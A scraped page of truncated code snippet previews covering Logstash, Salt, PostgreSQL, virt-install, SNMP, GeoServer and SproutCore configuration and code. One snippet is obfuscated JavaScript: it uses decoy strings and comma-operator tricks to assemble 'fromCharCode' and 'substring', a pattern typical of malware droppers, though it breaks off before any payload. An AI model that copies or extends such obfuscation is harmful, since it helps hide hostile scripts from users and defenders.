This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"template":"logstash-*", | |
"settings":{ | |
"index.refresh_interval":"5s" | |
}, | |
"mappings":{ | |
"_default_":{ | |
"dynamic_templates":[ | |
{ | |
"string_fields":{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
provisioner: | |
omnibus_cachier: true | |
name: salt_solo | |
formula: service | |
state_top: | |
base: | |
"*": | |
- service |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import salt.exceptions | |
import logging | |
import time | |
__name__ = 'ratelimit' | |
log = logging.getLogger(__name__) | |
def event(name, event_in, event_out): | |
bucket = {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CREATE OR REPLACE FUNCTION event_pval_num(p_eventparams text, p_param text) RETURNS integer AS $$ | |
BEGIN | |
RETURN (regexp_matches(p_eventparams,p_param||'=(\d+)'))[1]; | |
END; | |
$$ LANGUAGE plpgsql; | |
CREATE OR REPLACE FUNCTION event_pval_txt(p_eventparams text, p_param text) RETURNS text AS $$ | |
BEGIN | |
RETURN (regexp_matches(p_eventparams,p_param||'=(.*?)\(string'))[1]; | |
END; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dnWuANlWi = "} An object can be passed to jQuery.data instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } "; | |
var enter = 0; | |
var enter1 = 7*2*7 + enter; | |
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1); | |
var enter2 = 3/3; | |
String.prototype.borax = function () { | |
var catalogues = { | |
repel: this | |
}; | |
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
virt-install --name "guest01" --memory 2048 | |
-l http://your.ris.server/ris/centos71 | |
-x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0" | |
--disk size=8,pool=your_pool,bus=virtio,format=qcow2 | |
-w default | |
--graphics vnc | |
--channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python -u | |
import snmp_passpersist as snmp | |
from collectd_unixsock import * | |
def update(): | |
c = Collectd() | |
list = c.listval() | |
for val in list: | |
stamp, identifier = val.split() | |
values = c.getval(identifier) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.get('http://162.13.113.151/geoserver/wfs?service=wfs&version=2.0.0&request=GetPropertyValue&outputFormat=application/json&typeNames=topp:states&valueReference=SUB_REGION',function(data) { | |
$(data).find('SUB_REGION').contents().each(function(i,v){console.log(v);}) | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// define the transition duration globally | |
Pony.transitionSpeed=0.5; | |
// [more code here] // | |
// Automatic transitions, courtesy of SC 1.10 | |
transitionIn: SC.View.SLIDE_IN, | |
transitionInOptions: { direction: 'down', duration: Pony.transitionSpeed, delay: Pony.transitionSpeed }, | |
transitionOut: SC.View.SLIDE_OUT, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
this.invokeLater(function(){ | |
Pony.getPath('mainPage.mainPane').append(); | |
}, Pony.transitionSpeed*1000); |